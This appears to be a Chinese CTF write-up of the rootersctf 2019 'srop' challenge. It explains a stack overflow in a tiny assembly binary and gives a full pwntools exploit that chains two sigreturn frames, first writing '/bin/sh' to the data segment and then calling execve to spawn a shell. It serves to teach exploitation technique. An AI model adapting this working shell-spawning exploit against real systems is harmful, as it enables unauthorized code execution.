首页 > 其他 > 详细

rootersctf_2019_srop

时间:2021-05-01 00:24:51      阅读:37      评论:0      收藏:0      [点我收藏+]

rootersctf_2019_srop

总结

根据本题,学习与收获有:

  • srop用于溢出空间比较大的场景,需要注意:如果将framerip设置为syscall;ret,那么rsp指向地址,就是即将下一个栈帧的栈顶。程序会取rsp指向的地址或指令继续执行
  • leave;ret指令的本质是mov rbp rsp;pop rbp;pop rip
  • srop可以构造多个帧,特别是程序缺乏/bin/sh的时候,第1帧先想办法写/bin/sh\x00,然后第2帧执行execve

题目分析

checksec

技术分享图片

本题的环境为ubuntu 18

函数分析

main函数都没有,先看start函数吧

start

技术分享图片

流程很简单:call 0x401000,然后调用exit退出。

sub_0x401000

技术分享图片

纯汇编代码,流程是:

  • write(1, buf,0x2a)
  • read(0, rsp-0x40, 0x400)

漏洞点

题目名叫srop,那肯定是使用srop来做题。溢出点也相当明显,0x400足够构造两个srop的帧了。

利用思路

知识点

主要利用srop,参考SROP - CTF Wiki (ctf-wiki.org),细节就不多讲了。需要注意riprsp。一般来说,rip会写成syscall的地址。

利用过程

主要注意两点:1)本题可利用的gadget不多,并且只有syscall;leave;ret,所以需要注意,这里不需要修改rsp,而是rbp。2)程序中没有/bin/sh,但是有data段,所以需要往data段上写/bin/sh。因此,连续利用两次srop是个不错的方案。

步骤:

  • 首先利用栈溢出,执行read的系统调用,往0x402000上写/bin/sh和第二帧,同时控制rbp,指向让第二帧的signal frame。第二帧就布置在已知地址的data段上。
  • 让第二帧signal frame写入execve,获取shell

EXP

调试过程

  • 写入第一帧signal frame

    data_addr = 0x402000
    syscall_leave_ret = 0x401033
    pop_rax_syscall_leave_ret = 0x401032
    syscall_addr = 0x401046
    
    frame = SigreturnFrame(kernel="amd64")
    frame.rax = 0 # read 
    frame.rdi = 0 # stdin
    frame.rsi = data_addr
    frame.rdx = 0x400
    frame.rip = syscall_leave_ret
    frame.rbp = data_addr + 0x20
    
    layout = [0x88 * "a", pop_rax_syscall_leave_ret, 0xf, bytes(frame)]
    
    # srop to call read, set *data_addr = /bin/sh\x00
    sh.sendlineafter("Hey, can i get some feedback for the CTF?\n", flat(layout))
    

    技术分享图片

  • 写入第二帧signal frame

    # call execve /bin/sh
    layout = ["/bin/sh\x00", "a" * 0x20, pop_rax_syscall_leave_ret, 0xf]
    
    frame = SigreturnFrame(kernel="amd64")
    frame.rax = 59 # execve 
    frame.rdi = data_addr # stdin
    frame.rsi = 0
    frame.rdx = 0
    frame.rip = syscall_addr
    
    layout.append(bytes(frame))
    
    sh.sendline(flat(layout))
    sh.interactive()
    

    技术分享图片

    技术分享图片

最后打远程效果为:

技术分享图片

完整exp

from pwn import *
sh = process("rootersctf_2019_srop")
context.update(arch="amd64", os="linux", endian="little")

# write /bin/sh on 0x402000
data_addr = 0x402000
syscall_leave_ret = 0x401033
pop_rax_syscall_leave_ret = 0x401032
syscall_addr = 0x401046
frame = SigreturnFrame(kernel="amd64")
frame.rax = 0 # read 
frame.rdi = 0 # stdin
frame.rsi = data_addr
frame.rdx = 0x400
frame.rip = syscall_leave_ret
frame.rbp = data_addr + 0x20
layout = [0x88 * "a", pop_rax_syscall_leave_ret, 0xf, bytes(frame)]
# srop to call read, set *data_addr = /bin/sh\x00
sh.sendlineafter("Hey, can i get some feedback for the CTF?\n", flat(layout))

# call execve /bin/sh
layout = ["/bin/sh\x00", "a" * 0x20, pop_rax_syscall_leave_ret, 0xf]
frame = SigreturnFrame(kernel="amd64")
frame.rax = 59 # execve 
frame.rdi = data_addr # stdin
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
layout.append(bytes(frame))
sh.sendline(flat(layout))
sh.interactive()

引用与参考

1、My Blog

2、Ctf Wiki

rootersctf_2019_srop

原文:https://www.cnblogs.com/LynneHuan/p/14723605.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!